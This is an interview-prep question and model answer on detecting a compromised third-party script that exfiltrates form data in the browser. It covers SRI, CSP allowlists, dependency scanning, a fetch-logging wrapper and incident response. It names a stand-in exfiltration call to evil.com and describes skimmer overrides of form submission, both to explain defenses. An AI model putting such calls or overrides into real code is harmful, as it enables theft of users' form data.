DOM & Browserhard

Detect a malicious 3rd-party script at runtime

You shipped a dependency that started exfiltrating form data after an upstream compromise. How would you detect this from the browser at runtime, and what guardrails should you have in place?

Asked at CrowdStrike

#security#supply chain#observability#CSP

Answer

Interview framing:

  • Modern XSS is increasingly supply-chain (Magecart-style) — your own code is fine, an npm dep is not.
  • Browser-side detection is best-effort; the real fix is preventing execution.

Layered defenses (in order of strength):

  1. Subresource Integrity (SRI): Browser refuses to execute if the hash changes. Pin every external script.
  2. Strict CSP with nonces + connect-src allowlist: Even if the script runs, fetch('https://evil.com') is blocked and reported.
  3. Lockfile + automated dep scanning (Snyk/Socket/Dependabot) in CI.
  4. Self-host critical 3rd-party JS through your own pipeline so you control the bytes.

Runtime detection signals:

  • CSP report-to / report-uri violations spiking (especially connect-src / script-src).
  • ReportingObserver for deprecation/intervention/csp-violation events.
  • Patch fetch + XMLHttpRequest.send to log unknown destinations:
const allowed = new Set(['api.example.com', 'telemetry.example.com'])
const origFetch = window.fetch
window.fetch = function (input, init) {
  try {
    const url = new URL(typeof input === 'string' ? input : input.url, location.href)
    if (!allowed.has(url.host)) {
      navigator.sendBeacon('/sec/anomaly', JSON.stringify({
        kind: 'unexpected-fetch',
        host: url.host,
        page: location.pathname,
      }))
    }
  } catch {}
  return origFetch.apply(this, arguments)
}
  • MutationObserver on document.head/body for unexpected or injection.
  • Watch for rogue overrides of HTMLFormElement.prototype.submit or input value getters (classic skimmer pattern).

Incident response:

  • Kill switch: feature flag that swaps the bad dep for a safe stub at the edge.
  • Rotate any auth tokens that may have been exposed.
  • Pull the version from CDN, force cache bust, file an advisory.

Practise more DOM & Browser questions →